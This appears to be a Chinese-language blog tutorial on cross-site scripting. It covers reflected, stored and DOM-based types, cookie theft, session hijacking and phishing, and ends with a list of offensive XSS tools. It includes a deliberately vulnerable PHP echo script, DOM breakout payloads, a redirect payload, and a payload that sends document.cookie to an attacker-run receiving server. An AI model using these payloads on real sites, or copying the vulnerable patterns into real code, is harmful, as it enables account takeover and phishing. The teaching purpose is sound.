XSS分类
反射型(非持久型)
简介
反射型XSS,也称非持久型XSS,最常见也是使用最广的一种。在反射型XSS中,payload一般存在于网页的Url中,只用户单击时触发,只执行一次,非持久化,故称反射型XSS。攻击者发送恶意Url链接让受害者点击(一般会对payload部分进行处理,如:编码转换和短域名跳转)
例子
xss.php
<?php highlight_file("xss.php"); $xss = $_GET['xss']; echo $xss;
传入
?xss=<script>alert('hack')</script>
成功弹窗,这是最简单的xss
盗取cookie
还是上面那段代码
1.在自己的服务器上搭建一个接收cookie的接口为
http://www.cookie.com/receive?cookie=xxx;
2.我们通过各种手段诱惑用户点击了
http://121.40.126.133/xss.php?xss=<script>location.href='cookie.com/receive'+document.cookie;</script>
3.用户点击了该链接首先访问121.40.126.133/xss.php接口,因为该链接被注入了恶意js脚本所以访问了黑客的服务器并把当前的cookie发送过去了,拿到cookie后就可以伪造身份登录了。
存储型
存储型XSS,也称持久型XSS,攻击者首先将恶意javascript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意javascript页面就会执行恶意代码,不需要用户点击特定Url就能执行,故存储型XSS比反射型XSS更具威胁性。— 《XSS跨站脚本攻击剖析与防御》
存储型XSS与反射型XSS最大的区别就在于提交的XSS代码会储存于服务端,下次再访问目标页面时不用再提交XSS代码
DOM型
实际上,这种类型的xss并非按照“数据是否保存在服务器端”来划分,DOM型xss从效果上说也是反射性xss,单独划分出来,是因为它的形成原因比较特殊,由于历史原因,也就把它单独作为一个分类。
通过修改页面的DOM节点形成的xss,称为DOM型xss
看如下代码(出自《白帽子讲web安全》)
<html> <script> function test(){ var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href = '"+str+"' >teslink</a>"; } </script> <div id="t"></div> <input type="text" id="text" value="" /> <input type="button" id="s" value="write" onclick="test()" /> </html>
点击write按钮后,会在当前页面插入一条超链接,其地址为文本框的内容
在这里,write按钮的onclick事件调用了test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,这就造成了DOM型xss,
构造如下数据:
' onclick=alert(/xss/) //
输入后,页面代码就变成了:
<a herf='' onclick=alert(/xss/) //' >testLink</a>
首先用一个单引号闭合掉herf的第一个单引号,然后插入一个哦onclick事件,最后再用注释符//注释掉第二个单引号。
点击这个新生成的链接,脚本将被执行:
实际上,这里还有另外一种利用方式——除了构造一个新事件外,还可以选择闭合掉<a>标签,并插入一个html标签,尝试以下输入:
'><img src=# onerror=alert(/xss2/) /><'
页面代码变成了:
<a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>
脚本被执行
XSS的利用方式
cookie窃取
cookie盗取是xss攻击中最实用也是最广泛的一种利用方式之一。我们知道Cookie是Web系统识别用户的身份和保存会话状态的主要机制,且是由服务器提供的、存储在客户端的一种数据。同时,对于cookie的操作十分的方便,我们可以通过Document对象访问Cookie。如:<script>alert(document.cookie)</script>会弹出当前页面的cookie信息。
这里我们引入一个叫做“同源策略”的概念
我们知道Cookie有如下常见的属性:
- Domain————设置关联Cookie的域名;
- Expires————通过给定一个过期时间来创建一个持久化Cookie;
- Httponly————用于避免Cookie被Javascript访问;
- Name————Cookie的名称;
- Path————关联到Cookie的路径,默认为/;
- Value————读写Cookie的值;
- Secure————用于指定Cookie需要通过安全Socket层传递连接;
并且Cookie也可以安装类型分为:
- 本地Cookie————即储存在计算机硬盘中,关闭浏览器后依旧存在;
- 内存Cookie————即储存在内存中,随浏览器的关闭而消失;
如何区分两者很简单,只要判断cookie中的expires即过期时间属性有没有设置,如果设置了即为本地cookie,反之为内存cookie。
由于Cookie具有的不同属性,我们可以将不同属性的Cookie盗取方式分为以下几种情况
- 默认
- 不同域
- 不同路径
- http only
- secure
- P3P
- B域设置A域Cookie
- 加载B域时Cookie传入问题
参考->这里<-
会话劫持
由于Cookie的不安全性,开发者们开始使用一些更为安全的认证方式——Session。
Session的中文意思是会话,其实就是访问者从到达特定主页到离开的那段时间,在这个过程中,每个访问者都会得到一个单独的Session。Session是给予访问的进程,记录了一个访问的开始到结束,搭档浏览器或进程关闭之后,Session也就“消失”了。
在Session机制中,客户端和服务端也有被其他人利用的可能。
Session和Cookie最大的区别在于:Session是保存在服务端的内存里面,而Cookie保存于浏览器或客户端文件里面
这里提到Session是因为我们在现实情况中可能会出现已经获取到了Cookie,但是由于用户已经退出了浏览器指示Session无效,导致我们无法通过Cookie欺骗来获取用户权限;又比如有的网站设置了HttpOnly,获取不到Cookie;再者有的网站将Cookie与客户端IP向绑定;此时我们便可以利用会话劫持来达到目的。
会话劫持的实质就是模拟GET/POST请求(带Cookie)通过受害者浏览器发送给服务器,我们可以通过下面的方式来完成。
通过JavaScript控制DOM对象来发起一个get/post请求,如:
var img = document.createElement("img"); img.src = "http://xxx"; document.body.appendChild(img);
钓鱼
xss重定向
http://www.a.com/index.php?search=<script>document.location.href="http://www.b.com/index.php"</script>
HTML注入式钓鱼
通过javascript来修改页面的DOM对象属性,或在原页面中添加新的DOM元素。前者相对于后者更隐蔽。
Iframe
攻击者通过javascript来添加一个新的<Iframe>标签嵌入第三方域的内容(钓鱼网页),此时主页面仍处于正常页面下,具有极高的迷惑性。
绕过姿势
绕过方式太**多了,不想写了。。
放两个链接:
http://cheatsheets.hackdig.com/?4.htm
https://www.freebuf.com/articles/web/153055.html
工具
https://github.com/ChrisLinn/greyhame-2017/blob/master/skills/web.md 2017灰袍技能精华
https://github.com/rajeshmajumdar/BruteXSS BruteXSS
https://github.com/beefproject/beef Beef神器
https://github.com/1N3/XSSTracer 用于检查跨站点跟踪的小型python脚本
https://github.com/0x584A/fuzzXssPHP 一个非常简单的反射XSS扫描仪支持GET/POST
https://github.com/chuhades/xss_scan 反射xss扫描器
https://github.com/BlackHole1/autoFindXssAndCsrf 浏览器的插件,它自动检查页面是否具有xss和漏洞
https://github.com/shogunlab/shuriken xss命令行工具用于测试web应用程序中xss负载列表
https://github.com/UltimateHackers/XSStrike 用于XSS、WAF检测和旁路的模糊和蛮力参数
https://github.com/stamparm/DSXS 一个完全功能的跨站点脚本漏洞扫描器,支持获取和发布参数,并写入100行代码